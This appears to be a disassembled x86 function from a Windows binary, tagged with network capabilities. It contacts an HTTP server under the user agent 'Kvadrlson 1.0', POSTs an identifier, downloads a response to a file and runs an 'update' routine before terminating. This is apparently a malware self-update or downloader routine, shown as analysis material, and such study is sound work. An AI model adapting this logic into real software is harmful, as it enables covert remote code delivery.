Function at 0x40a670
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x14e4
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
mov dword [esp + 0x14e8], eax
mov eax, dword [ebp + 8]
push edi
push eax
call fcn.0040a250
add esp, 4
test al, al
je 0x40aa1c
xor ecx, ecx
mov dword [esp + 0x31], ecx
mov dword [esp + 0x35], ecx
mov dword [esp + 0x39], ecx
mov dword [esp + 0x3d], ecx
mov dword [esp + 0x41], ecx
lea edx, [esp + 0x30]
mov word [esp + 0x45], cx
push edx
mov byte [esp + 0x34], 0
mov byte [esp + 0x4b], cl
call fcn.004095b0
xor eax, eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
mov dword [esp + 0x2d], eax
lea ecx, [esp + 0x1c]
mov word [esp + 0x31], ax
push ecx
mov byte [esp + 0x20], 0
mov byte [esp + 0x37], al
call fcn.00409760
mov byte [esp + 0xb0], 0
xor eax, eax
mov ecx, 0xf
lea edi, [esp + 0xb1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0xb0]
push edx
stosb byte es:[edi], al
call fcn.00403150
mov eax, dword [str._h.cuc]
mov cx, word [0x41cfcc]
mov dl, byte [0x41cfce]
mov dword [esp + 0x74], eax
mov word [esp + 0x78], cx
xor eax, eax
mov byte [esp + 0x7a], dl
mov ecx, 0xe
lea edi, [esp + 0x7b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
push eax
mov ecx, eax
push ecx
call fcn.00404140
lea edi, [esp + 0x7c]
add esp, 0x14
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a770
mov edx, dword [str._cashingDeny]
mov eax, dword [0x41cfbc]
mov ecx, dword [0x41cfc0]
mov dword [edi], edx
mov dx, word [0x41cfc4]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
lea eax, [esp + 0x30]
mov word [edi + 0xc], dx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7a2
lea edi, [esp + 0x68]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a7b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x68]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a7d0
mov eax, dword [str.id]
mov cl, byte [0x41b588]
mov dword [edi], eax
lea eax, [esp + 0x18]
mov byte [edi + 4], cl
mov esi, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7f0
lea edi, [esp + 0x68]
sub eax, esi
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a800
xor edx, edx
mov dword [esp + 0x49], edx
mov ecx, eax
shr ecx, 2
mov dword [esp + 0x4d], edx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x51], edx
mov dword [esp + 0x55], edx
mov dword [esp + 0x59], edx
mov dword [esp + 0x5d], edx
mov ecx, eax
mov dword [esp + 0x61], edx
lea eax, [esp + 0x48]
and ecx, 3
mov word [esp + 0x65], dx
push eax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x4c], 0
mov byte [esp + 0x6b], dl
call fcn.004027f0
mov byte [esp + 0x4ec], 0
xor eax, eax
mov ecx, 0x3ff
lea edi, [esp + 0x4ed]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x4ec]
push ecx
stosb byte es:[edi], al
call fcn.00402870
add esp, 8
push 0
push 0
push 0
push 1
push str.Kvadrlson_1.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x40aa1c
push 1
push 0
push 3
push 0
push 0
push 0x50
lea edx, [esp + 0xc0]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x40aa15
push 1
push 0x4000000
push 0
push 0
push str.HTTP_1.0
lea eax, [esp + 0x7c]
push eax
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x40aa0e
push 0
push 0x41b5fe
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x40aa07
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea ecx, [esp + 0x500]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x4e8]
push 0x201
push edx
call fcn.004135b7
mov edi, eax
push 0x8000
push edi
call fcn.004136cd
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
add esp, 0x10
lea eax, [esp + 0xc]
push eax
push 0x3ff
lea ecx, [esp + 0xf0]
push ecx
push esi
call ebx
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x40a9b2
test eax, eax
je 0x40a9b2
push ecx
lea edx, [esp + 0xec]
push edx
push edi
call fcn.00413225
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push 0x3ff
lea edx, [esp + 0xf0]
push edx
push esi
mov byte [esp + eax + 0xf8], 0
call ebx
mov ecx, dword [esp + 0xc]
test ecx, ecx
jne 0x40a973
push edi
call fcn.00412fbc
lea eax, [esp + 0x4ec]
push eax
call fcn.0040a630
add esp, 8
test eax, eax
je 0x40a9f2
call fcn.004012d0
lea ecx, [esp + 0x4e8]
push ecx
call fcn.00402bf0
push str.Oh_my__Update_
call fcn.0040a180
add esp, 8
push 0
call fcn.0041294c
push str.Unsuccessful_update
call fcn.0040a180
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x14ec]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret